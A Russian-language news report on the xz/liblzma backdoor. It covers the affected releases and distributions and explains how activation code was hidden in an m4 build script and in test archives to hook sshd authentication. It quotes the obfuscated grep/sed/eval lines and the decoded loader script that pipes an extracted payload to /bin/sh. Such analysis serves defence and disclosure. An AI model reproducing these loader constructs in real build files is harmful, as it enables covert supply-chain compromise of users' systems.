Бэкдор присутствовал в официальных выпусках 5.6.0 и 5.6.1, опубликованных 24 февраля и 9 марта, которые успели попасть в состав некоторых дистрибутивов и репозиториев, например, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide и 40-beta, openSUSE factory, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Всем пользователям выпусков xz 5.6.0 и 5.6.1 рекомендуется срочно откатиться на версию
5.4.6.
Из сглаживающих проблему факторов можно отметить то, что версия liblzma c бэкдором не успела войти в состав стабильных выпусков крупных дистрибутивов, за исключением Gentoo и Arch Linux. Бэкдор затригивал только системы x86_64 на базе ядра Linux и Си-библиотеки Glibc. Каким образом злоумышленникам удалось получить доступ к инфраструктуре проекта xz пока не выяснено. Так же пока не ясно как много пользователей и проектов были скомпрометированы в результате действия бэкдора.
Код активации бэкдора был спрятан в m4-сценарии build-to-host.m4, используемом инструментарием automake при сборке. При сборке в ходе выполнения запутанных обфусцированных операций на основе архивов (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), применяемых для тестирования корректности работы, формировался объектный файл с вредоносным кодом, который включался в состав библиотеки liblzma и изменял логику работы некоторых её функций. Указанные файлы входили в состав tar-архивов релизов, но отсутствовали в репозитории.
При использовании liblzma в приложениях вредоносные изменения могли использоваться для перехвата или модификации данных, а также для влияния на работу приложений, таких как sshd и systemd. В частности, вредоносный код подменял функцию RSA_public_decrypt для обхода процесса аутентификации в sshd.
В частности, в файле m4/build-to-host.m4 использовались конструкции
gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null` ... gl_[$1]_config='sed "rn" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
В первой конструкции операция grep находила файл tests/files/bad-3-corrupt_lzma2.xz, при распаковке которого формировался сценарий:
####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir="../../$srcdir" fi export i="((head -c +1024 ›/dev/null) && head -c +2048 && (head -c +1024 ›/dev/null) && head -c +2048 && (head -c +1024 ›/dev/null) && head -c +2048 && (head -c +1024 ›/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 ›/dev/null) && head -c +2048 && (head -c +1024 ›/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 ›/dev/null) && head -c +2048 && (head -c +1024 ›/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 ›/dev/null) && head -c +2048 && (head -c +1024 ›/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 ›/dev/null) && head -c +2048 && (head -c +1024 ›/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "114-321322-37735-4714-34 -1350-113" " -377")|xz -F raw --lzma1 -dc|/bin/sh ####World####
Источник: http://www.opennet.ru/opennews/art.shtml?num=60877